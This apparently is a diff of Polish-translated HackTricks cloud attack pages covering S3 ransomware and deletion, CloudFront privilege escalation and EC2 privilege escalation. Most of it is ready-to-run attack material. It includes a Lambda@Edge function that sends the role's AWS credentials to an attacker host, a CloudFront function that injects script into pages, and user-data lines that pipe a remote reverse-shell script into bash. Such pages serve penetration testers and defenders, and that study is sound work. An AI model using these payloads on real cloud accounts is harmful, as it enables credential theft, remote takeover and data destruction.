- Po CREATE DATABASE FROM INTEGRATION, przegląd tabel ujawnił schemat ztl i tabelę customers; wykonanie SELECT z ztl.customers zwróciło 2 wiersze (Alice, Bob).
|
||||
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- Po CREATE DATABASE FROM INTEGRATION, wylistowanie tabel ujawniło schemat ztl i tabelę customers; zapytanie z ztl.customers zwróciło 2 wiersze (Alice, Bob).
|
||||
|
||||
Wpływ: Ciągła, niemal w czasie rzeczywistym exfiltration wybranych tabel Aurora PostgreSQL do Redshift Serverless kontrolowanych przez atakującego, bez użycia poświadczeń bazy danych, kopii zapasowych ani dostępu sieciowego do klastra źródłowego.
|
||||
Wpływ: Ciągła eksfiltracja w niemal czasie rzeczywistym wybranych tabel Aurora PostgreSQL do Redshift Serverless kontrolowanego przez atakującego, bez użycia poświadczeń bazy danych, backupów ani dostępu sieciowego do klastra źródłowego.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+42
-11
@@ -10,29 +10,60 @@ For more information check:
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive Information
|
||||
### Poufne informacje
|
||||
|
||||
Czasami można znaleźć wrażliwe informacje dostępne do odczytu w bucketach. Na przykład terraform state secrets.
|
||||
Czasami możesz znaleźć poufne informacje czytelne w bucketach. Na przykład terraform state secrets.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Różne platformy mogą używać S3 do przechowywania wrażliwych zasobów.\
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. Atakujący z uprawnieniami zapisu może **modify the code** z bucketu, aby **pivot** na inne platformy, lub **takeover accounts** modyfikując pliki JS.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
W tym scenariuszu **attacker creates a KMS (Key Management Service) key in their own AWS account** lub w innym skompromitowanym koncie. Następnie czynią ten **key accessible to anyone in the world**, pozwalając dowolnemu AWS user, role, lub account szyfrować obiekty przy użyciu tego klucza. Jednak obiekty nie mogą być odszyfrowane.
|
||||
W tym scenariuszu, **atakujący tworzy KMS (Key Management Service) key w swoim własnym AWS account** lub w innym przejętym koncie. Następnie udostępnia ten **key accessible to anyone in the world**, pozwalając dowolnemu użytkownikowi, roli lub kontu AWS szyfrować obiekty przy użyciu tego klucza. Jednak obiekty nie mogą być odszyfrowane.
|
||||
|
||||
Attacker identyfikuje docelowy **S3 bucket and gains write-level access** do niego przy użyciu różnych metod. Może to być spowodowane złą konfiguracją bucketu, która wystawia go publicznie, lub dostępem atakującego do samego środowiska AWS. Attacker zwykle celuje w buckety zawierające wrażliwe informacje, takie jak personally identifiable information (PII), protected health information (PHI), logi, backupy i inne.
|
||||
Atakujący identyfikuje docelowy **S3 bucket and gains write-level access** do niego przy użyciu różnych metod. Może to wynikać z nieprawidłowej konfiguracji bucketu, która wystawia go publicznie, lub z uzyskania przez atakującego dostępu do samego środowiska AWS. Atakujący zazwyczaj celuje w buckety zawierające wrażliwe informacje, takie jak personally identifiable information (PII), protected health information (PHI), logi, backupy i inne.
|
||||
|
||||
Aby określić, czy bucket może być celem ransomware, attacker sprawdza jego konfigurację. Obejmuje to weryfikację, czy **S3 Object Versioning** jest włączone oraz czy **multi-factor authentication delete (MFA delete) is enabled**. Jeśli Object Versioning nie jest włączone, attacker może kontynuować. Jeśli Object Versioning jest włączone, ale MFA delete jest wyłączone, attacker może **disable Object Versioning**. Jeśli zarówno Object Versioning jak i MFA delete są włączone, staje się trudniej dla attacker’a przeprowadzić ransomware na tym konkretnym buckecie.
|
||||
Aby ustalić, czy bucket może być celem ransomware, atakujący sprawdza jego konfigurację. Obejmuje to weryfikację, czy **S3 Object Versioning** jest włączony i czy **multi-factor authentication delete (MFA delete)** jest włączone. Jeśli Object Versioning nie jest włączone, atakujący może kontynuować. Jeśli Object Versioning jest włączone, ale MFA delete jest wyłączone, atakujący może **disable Object Versioning**. Jeśli zarówno Object Versioning, jak i MFA delete są włączone, wykonanie ransomware na tym konkretnym buckecie staje się trudniejsze.
|
||||
|
||||
Używając AWS API, attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. To skutecznie szyfruje dane w buckecie, czyniąc je niedostępnymi bez klucza.
|
||||
Używając AWS API, atakujący **replaces each object in the bucket with an encrypted copy using their KMS key**. To skutecznie zaszyfrowuje dane w buckecie, czyniąc je niedostępnymi bez klucza.
|
||||
|
||||
Aby zwiększyć presję, attacker planuje usunięcie KMS key użytego w ataku. Daje to celowi 7-dniowe okno na odzyskanie danych zanim klucz zostanie usunięty i dane staną się na zawsze utracone.
|
||||
Aby wywrzeć dalszą presję, atakujący planuje usunięcie KMS key użytego w ataku. Daje to ofierze 7-dniowy okres na odzyskanie danych, zanim klucz zostanie usunięty i dane zostaną trwale utracone.
|
||||
|
||||
Na koniec attacker może przesłać finalny plik, zwykle nazwany "ransom-note.txt", który zawiera instrukcje dla celu jak odzyskać swoje pliki. Ten plik jest przesyłany bez szyfrowania, prawdopodobnie aby zwrócić uwagę celu i uczynić go świadomym ataku ransomware.
|
||||
Na koniec atakujący może przesłać końcowy plik, zwykle o nazwie "ransom-note.txt", który zawiera instrukcje dla ofiary, jak odzyskać swoje pliki. Plik ten jest przesyłany bez szyfrowania, prawdopodobnie aby zwrócić uwagę ofiary i poinformować ją o ataku ransomware.
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
### `s3:RestoreObject`
|
||||
|
||||
Atakujący z uprawnieniem s3:RestoreObject może reaktywować obiekty zarchiwizowane w Glacier lub Deep Archive, czyniąc je tymczasowo dostępnymi. Umożliwia to odzyskanie i exfiltrację historycznie zarchiwizowanych danych (backupy, snapshoty, logi, certyfikaty, stare sekrety), które normalnie byłyby poza zasięgiem. Jeśli atakujący połączy to uprawnienie z uprawnieniami do odczytu (np. s3:GetObject), może uzyskać pełne kopie wrażliwych danych.
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--restore-request '{
|
||||
"Days": <NUMBER_OF_DAYS>,
|
||||
"GlacierJobParameters": { "Tier": "Standard" }
|
||||
}'
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
Atakujący posiadający uprawnienie `s3:Delete*` może usuwać obiekty, wersje i całe buckets, zakłócać kopie zapasowe oraz powodować natychmiastową i nieodwracalną utratę danych, zniszczenie dowodów oraz kompromitację artefaktów kopii zapasowych lub mechanizmów przywracania.
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY>
|
||||
|
||||
# Delete a specific version
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--version-id <VERSION_ID>
|
||||
|
||||
# Delete a bucket
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**Więcej informacji** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+217
@@ -0,0 +1,217 @@
|
||||
# AWS - CloudFront Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
|
||||
|
||||
Atakujący, który posiada uprawnienia `cloudfront:UpdateDistribution` i `cloudfront:GetDistributionConfig`, może zmodyfikować konfigurację dystrybucji CloudFront. Nie potrzebuje uprawnień do docelowego bucketu S3, chociaż atak jest łatwiejszy, jeśli ten bucket ma permisywną politykę pozwalającą na dostęp z service principal cloudfront.amazonaws.com.
|
||||
|
||||
Atakujący zmienia konfigurację origin dystrybucji, aby wskazywała na inny bucket S3 lub na serwer kontrolowany przez atakującego. Najpierw pobiera aktualną konfigurację dystrybucji:
|
||||
```bash
|
||||
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
|
||||
```
|
||||
Następnie edytują current-config.json, aby wskazać origin na nowy zasób — na przykład inny S3 bucket:
|
||||
```bash
|
||||
...
|
||||
"Origins": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"Id": "<origin-id>",
|
||||
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
|
||||
"OriginPath": "",
|
||||
"CustomHeaders": {
|
||||
"Quantity": 0
|
||||
},
|
||||
"S3OriginConfig": {
|
||||
"OriginAccessIdentity": "",
|
||||
"OriginReadTimeout": 30
|
||||
},
|
||||
"ConnectionAttempts": 3,
|
||||
"ConnectionTimeout": 10,
|
||||
"OriginShield": {
|
||||
"Enabled": false
|
||||
},
|
||||
"OriginAccessControlId": "E30N32Y4IBZ971"
|
||||
}
|
||||
]
|
||||
},
|
||||
...
|
||||
```
|
||||
Na koniec zastosuj zmodyfikowaną konfigurację (musisz podać bieżący ETag podczas aktualizacji):
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
|
||||
An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
|
||||
|
||||
The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
|
||||
|
||||
```bash
|
||||
function handler(event) {
|
||||
var request = event.request;
|
||||
var response = event.response;
|
||||
// Create a new body with malicious JavaScript
|
||||
var maliciousBody = `
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Compromised Page</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Original Content</h1>
|
||||
<p>This page has been modified by CloudFront Functions</p>
|
||||
<script>
|
||||
// Malicious JavaScript
|
||||
alert('CloudFront Function Code Injection Successful!');
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
`;
|
||||
// Replace the body entirely
|
||||
response.body = { encoding: "text", data: maliciousBody };
|
||||
// Update headers
|
||||
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
|
||||
response.headers["content-length"] = {
|
||||
value: maliciousBody.length.toString(),
|
||||
};
|
||||
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
|
||||
return response;
|
||||
}
|
||||
```
|
||||
|
||||
Commands to create, publish and attach the function:
|
||||
|
||||
```bash
|
||||
# Utwórz złośliwą funkcję w CloudFront
|
||||
aws cloudfront create-function --name malicious-function --function-config '{
|
||||
"Comment": "Malicious CloudFront Function for Code Injection",
|
||||
"Runtime": "cloudfront-js-1.0"
|
||||
}' --function-code fileb://malicious-function.js
|
||||
|
||||
# Pobierz ETag funkcji w etapie DEVELOPMENT
|
||||
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
|
||||
|
||||
# Opublikuj funkcję do etapu LIVE
|
||||
aws cloudfront publish-function --name malicious-function --if-match <etag>
|
||||
```
|
||||
|
||||
Add the function to the distribution configuration (FunctionAssociations):
|
||||
|
||||
```bash
|
||||
"FunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
|
||||
"EventType": "viewer-response"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Finally update the distribution configuration (remember to supply the current ETag):
|
||||
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
|
||||
|
||||
An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
|
||||
|
||||
The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
|
||||
|
||||
```bash
|
||||
// malicious-lambda-edge.js
|
||||
exports.handler = async (event) => {
|
||||
// Pobierz poświadczenia roli
|
||||
const credentials = {
|
||||
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
|
||||
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
sessionToken: process.env.AWS_SESSION_TOKEN,
|
||||
};
|
||||
// Wyślij poświadczenia na serwer atakującego
|
||||
try {
|
||||
await fetch("https://<attacker-ip>/steal-credentials", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(credentials)
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("Błąd wysyłania poświadczeń:", error);
|
||||
}
|
||||
if (event.Records && event.Records[0] && event.Records[0].cf) {
|
||||
// Zmodyfikuj nagłówki odpowiedzi
|
||||
const response = event.Records[0].cf.response;
|
||||
response.headers["x-credential-theft"] = [
|
||||
{
|
||||
key: "X-Credential-Theft",
|
||||
value: "Successful",
|
||||
},
|
||||
];
|
||||
return response;
|
||||
}
|
||||
return {
|
||||
statusCode: 200,
|
||||
body: JSON.stringify({ message: "Poświadczenia skradzione" })
|
||||
};
|
||||
};
|
||||
```
|
||||
|
||||
```bash
|
||||
# Spakuj funkcję Lambda@Edge
|
||||
zip malicious-lambda-edge.zip malicious-lambda-edge.js
|
||||
|
||||
# Utwórz funkcję Lambda@Edge z uprzywilejowaną rolą
|
||||
aws lambda create-function \
|
||||
--function-name malicious-lambda-edge \
|
||||
--runtime nodejs18.x \
|
||||
--role <privileged-role-arn> \
|
||||
--handler malicious-lambda-edge.handler \
|
||||
--zip-file fileb://malicious-lambda-edge.zip \
|
||||
--region <region>
|
||||
|
||||
# Opublikuj wersję funkcji
|
||||
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
|
||||
```
|
||||
|
||||
Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
|
||||
|
||||
```bash
|
||||
"LambdaFunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
|
||||
"EventType": "viewer-response",
|
||||
"IncludeBody": false
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Zastosuj zaktualizowaną konfigurację dystrybucji (należy użyć aktualnego ETag)
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
|
||||
# Wywołaj funkcję, wysyłając żądanie do dystrybucji
|
||||
curl -v https://<distribution-domain>.cloudfront.net/
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+64
-36
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
Aby uzyskać więcej **informacji o EC2**, zobacz:
|
||||
Więcej informacji o **EC2** znajdziesz:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,11 +12,11 @@ Aby uzyskać więcej **informacji o EC2**, zobacz:
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Atakujący może **utworzyć instancję, dołączając rolę IAM, a następnie uzyskać dostęp do instancji** w celu kradzieży poświadczeń roli IAM z endpointu metadanych.
|
||||
Atakujący może **utworzyć instancję z dołączoną rolą IAM, a następnie uzyskać dostęp do tej instancji** i ukraść dane uwierzytelniające roli IAM z endpointu metadanych.
|
||||
|
||||
- **Dostęp przez SSH**
|
||||
|
||||
Uruchom nową instancję używając **utworzonego** **ssh key** (`--key-name`) i następnie połącz się z nią przez ssh (jeśli chcesz utworzyć nowy, możesz potrzebować uprawnienia `ec2:CreateKeyPair`).
|
||||
Uruchom nową instancję używając **utworzonego** **ssh key** (`--key-name`) i następnie zaloguj się przez ssh (jeśli chcesz utworzyć nowy, możesz potrzebować uprawnienia `ec2:CreateKeyPair`).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **Dostęp przez rev shell w user data**
|
||||
|
||||
Możesz uruchomić nową instancję używając **user data** (`--user-data`), która wyśle do ciebie **rev shell**. W ten sposób nie musisz określać security group.
|
||||
Możesz uruchomić nową instancję używając **user data** (`--user-data`), która wyśle do Ciebie **rev shell**. Nie musisz w ten sposób określać security group.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -44,7 +44,7 @@ Uważaj na GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją:
|
||||
|
||||
#### Privesc do ECS
|
||||
|
||||
Z tym zbiorem uprawnień możesz także **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób, usługi ECS będą **uruchamiane** wewnątrz **instancji EC2**, do której masz dostęp, a następnie możesz przejąć te usługi (docker containers) i **ukraść przypisane do nich ECS roles**.
|
||||
Dysponując tym zbiorem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS będą **uruchamiane** wewnątrz **instancji EC2**, do której masz dostęp, a następnie możesz przedostać się do tych usług (docker containers) i **ukraść przypisane im role ECS**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -65,13 +65,13 @@ Aby dowiedzieć się, jak **wymusić uruchomienie usług ECS** na tej nowej inst
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
Jeśli **nie możesz utworzyć nowej instancji**, ale masz uprawnienie `ecs:RegisterContainerInstance`, możesz zarejestrować instancję w klastrze i przeprowadzić opisany atak.
|
||||
Jeśli **nie możesz utworzyć nowej instancji**, ale masz uprawnienie `ecs:RegisterContainerInstance`, możesz być w stanie zarejestrować instancję w klastrze i przeprowadzić opisywany atak.
|
||||
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do ról ECS przypisanych do zadań.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
Podobnie jak w poprzednim scenariuszu, atakujący z tymi uprawnieniami mógłby **zmienić rolę IAM skompromitowanej instancji**, aby mógł ukraść nowe poświadczenia.\
|
||||
Podobnie jak w poprzednim scenariuszu, atakujący posiadający te uprawnienia mógłby **zmienić rolę IAM skompromitowanej instancji**, aby móc ukraść nowe poświadczenia.\
|
||||
Ponieważ instance profile może mieć tylko 1 rolę, jeśli instance profile **już ma rolę** (częsty przypadek), będziesz również potrzebować **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Jeśli **instance profile ma rolę** i atakujący **nie może jej usunąć**, istnieje inne obejście. Może **znaleźć** **instance profile bez roli** lub **utworzyć nowy** (`iam:CreateInstanceProfile`), **dodać** **rolę** do tego **instance profile** (jak omówiono wcześniej), i **powiązać przejęty instance profile** z przejętą i**nstance:**
|
||||
Jeśli **instance profile has a role** i atakujący **cannot remove it**, istnieje inne obejście. Może **find** **instance profile without a role** lub **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** do tego **instance profile** (jak omówiono wcześniej) i **associate the instance profile** z compromised i**nstance:**
|
||||
|
||||
- Jeśli instance **nie ma żadnego instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
- Jeśli instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (wymaga przejęcia instancji AWS EC2 oraz posiadania dodatkowego uprawnienia lub określonego stanu instance profile).
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do innej roli EC2 (musisz przejąć instancję AWS EC2 oraz mieć dodatkowe uprawnienie lub konkretny status instance profile).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Dzięki tym uprawnieniom można zmienić instance profile przypisany do instancji, więc jeśli atakujący już ma dostęp do instancji, będzie w stanie wykraść poświadczenia dla większej liczby ról związanych z instance profile, zmieniając ten przypisany do niej.
|
||||
Dzięki tym uprawnieniom można zmienić instance profile przypisany do instancji, więc jeśli atakujący już ma dostęp do instancji, będzie mógł wykraść poświadczenia dla innych ról instance profile, zmieniając przypisany do niej.
|
||||
|
||||
- Jeśli instancja **ma instance profile**, możesz **usunąć** instance profile (`ec2:DisassociateIamInstanceProfile`) i **powiązać** go
|
||||
- Jeśli instancja **ma instance profile**, możesz **usunąć** instance profile (`ec2:DisassociateIamInstanceProfile`) i **przypisać** je
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- lub **zastąpić** **instance profile** skompromitowanej instancji (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- lub **zastąpić** **instance profile** skompromitowanej instance (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (wymagane uprzednie przejęcie instancji AWS EC2 oraz posiadanie dodatkowego uprawnienia lub specyficznego statusu instance profile).
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć przejętą instancję AWS EC2 oraz dodatkowe uprawnienie lub określony status instance profile).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
Atakujący posiadający uprawnienia **`ec2:RequestSpotInstances`and`iam:PassRole`** może **zażądać** **Spot Instance** z **EC2 Role attached** i umieścić **rev shell** w **user data**.\
|
||||
Po uruchomieniu instancji może **ukraść IAM role**.
|
||||
Atakujący z uprawnieniami **`ec2:RequestSpotInstances`and`iam:PassRole`** może **zażądać** **Spot Instance** z **dołączoną rolą EC2** i **rev shell** w **user data**.\
|
||||
Po uruchomieniu instancji, może **przejąć rolę IAM**.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
Atakujący z uprawnieniem **`ec2:ModifyInstanceAttribute`** może modyfikować atrybuty instancji. Między innymi może **zmienić user data**, co oznacza, że może sprawić, że instancja **wykona dowolny kod.** To można wykorzystać do uzyskania **rev shell na instancji EC2**.
|
||||
Atakujący posiadający uprawnienie **`ec2:ModifyInstanceAttribute`** może modyfikować atrybuty instancji. Między innymi może **zmienić user data**, co oznacza, że może sprawić, że instancja będzie **uruchamiać dowolne dane**. To można wykorzystać do uzyskania **rev shell do instancji EC2**.
|
||||
|
||||
Należy pamiętać, że atrybuty można **modyfikować tylko, gdy instancja jest zatrzymana**, więc potrzebne są **uprawnienia** **`ec2:StopInstances`** i **`ec2:StartInstances``.**
|
||||
Należy pamiętać, że atrybuty można **modyfikować tylko gdy instancja jest zatrzymana**, więc wymagane są **uprawnienia** **`ec2:StopInstances`** i **`ec2:StartInstances`**.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej EC2 IAM Role przypisanej do utworzonej instancji.
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do dowolnego EC2 IAM Role przypisanego do utworzonej instancji.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Atakujący posiadający uprawnienia **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** może utworzyć **nową Launch Template wersję** z **rev shell w** **user data** oraz **dowolną EC2 IAM Role na niej**, zmienić domyślną wersję, a **dowolna Autoscaler group** **używająca** tego **Launch Templat**e, który jest **skonfigurowany** do użycia **latest** lub **default version** ponownie **ponownie uruchomi instancje** używając tego template i wykona rev shell.
|
||||
Atakujący posiadający uprawnienia **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** może utworzyć **new Launch Template version** z **rev shell in** the **user data** i z przypisanym **any EC2 IAM Role on it**, zmienić domyślną wersję, a **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** ponownie uruchomi instancje używające tego szablonu i wykona rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do innej roli EC2.
|
||||
**Potencjalny wpływ:** Direct privesc na inną rolę EC2.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
Atakujący posiadający uprawnienia **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateLaunchConfiguration`,`iam:PassRole`** może **utworzyć Launch Configuration** z **IAM Role** i **rev shell** w **user data**, następnie **utworzyć autoscaling group** na podstawie tej konfiguracji i poczekać, aż rev shell **ukradnie IAM Role**.
|
||||
Atakujący posiadający uprawnienia **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć Launch Configuration** z **IAM Role** i **rev shell** wewnątrz **user data**, następnie **utworzyć autoscaling group** na podstawie tej konfiguracji i poczekać, aż rev shell **ukradnie IAM Role**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -200,24 +200,24 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza, aby eskalować** uprawnienia do IAM role, ponieważ aby dołączyć rolę określoną w Launch Configuration lub w Launch Template, konieczne są uprawnienia **`iam:PassRole`** i **`ec2:RunInstances`** (co jest znanym privesc).
|
||||
Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do eskalacji** uprawnień do roli IAM, ponieważ aby przypisać rolę określoną w Launch Configuration lub w Launch Template **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym privesc).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
Atakujący z uprawnieniem **`ec2-instance-connect:SendSSHPublicKey`** może dodać klucz ssh do użytkownika i użyć go do uzyskania dostępu (jeśli ma dostęp ssh do instancji) lub do eskalacji uprawnień.
|
||||
Atakujący posiadający uprawnienie **`ec2-instance-connect:SendSSHPublicKey`** może dodać klucz ssh do użytkownika i użyć go, by uzyskać dostęp (jeśli ma dostęp ssh do instancji) lub do eskalacji uprawnień.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
